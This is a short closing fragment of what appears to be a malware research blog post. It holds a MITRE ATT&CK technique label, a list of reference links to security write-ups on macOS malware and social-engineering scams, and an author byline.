T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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About the author
Tara Gould
Malware Research Lead
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